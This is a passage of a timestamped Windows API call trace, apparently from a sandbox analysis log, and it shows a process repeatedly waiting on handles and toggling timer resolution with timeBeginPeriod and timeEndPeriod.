	[0074.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.563] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.563] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.568] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.612] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.613] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.613] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.615] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.615] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.633] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.633] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.637] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.687] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.693] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.694] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.694] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.695] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.712] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.718] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.721] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.721] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.722] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.722] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.723] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.723] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.724] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.724] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.766] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.767] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.767] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.768] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.787] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.787] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.791] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.791] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.830] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.838] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.859] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.859] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.864] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.864] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.910] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.911] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0074.911] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0074.912] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.912] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.989] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0074.999] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.024] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.024] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.029] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.029] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.041] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.074] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.075] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.075] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.077] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.077] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.120] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.120] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.125] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.163] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.169] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.173] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.173] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.174] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.179] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.179] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.181] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.198] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.198] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.200] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.263] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.263] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.284] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.284] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.322] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.328] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.328] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.328] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.331] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.349] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.349] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.354] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.354] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.398] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.412] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.412] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.414] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.414] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.432] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.432] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.436] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.476] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.484] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.487] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.510] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.511] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.511] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.513] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.513] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.549] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.555] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.555] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.557] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.575] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.575] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.579] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.622] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.625] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.633] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.635] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.655] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.655] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.660] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.660] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.718] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.718] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.719] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.719] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.725] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.725] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.726] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.726] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.743] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.743] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.745] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.745] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.781] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.789] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.792] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.810] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.810] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.815] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.828] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.861] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.861] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.861] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.863] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.881] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.881] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.885] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.885] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.923] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.930] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.938] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.940] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0075.960] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0075.960] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0075.965] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0075.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.011] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.012] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.060] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.063] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.063] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.064] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.064] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.064] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.064] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.066] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.104] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.111] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.115] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.118] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.120] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.123] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.140] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.141] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.143] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.169] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.179] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.179] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.181] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.216] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.223] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.223] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.225] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.242] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.242] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.247] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.329] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.329] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.333] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.333] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.374] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.375] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.381] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.381] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.381] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.383] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.408] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.408] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.408] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.410] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.457] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.507] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.507] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.509] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.509] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.526] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.526] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.531] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.531] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.547] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.601] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.601] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.606] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.643] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.654] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.654] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.655] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.660] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.660] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.662] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.679] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.679] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.681] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.716] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.723] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.724] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.724] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.726] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.726] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.744] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0076.744] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0076.749] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0076.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.762] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.799] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0076.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
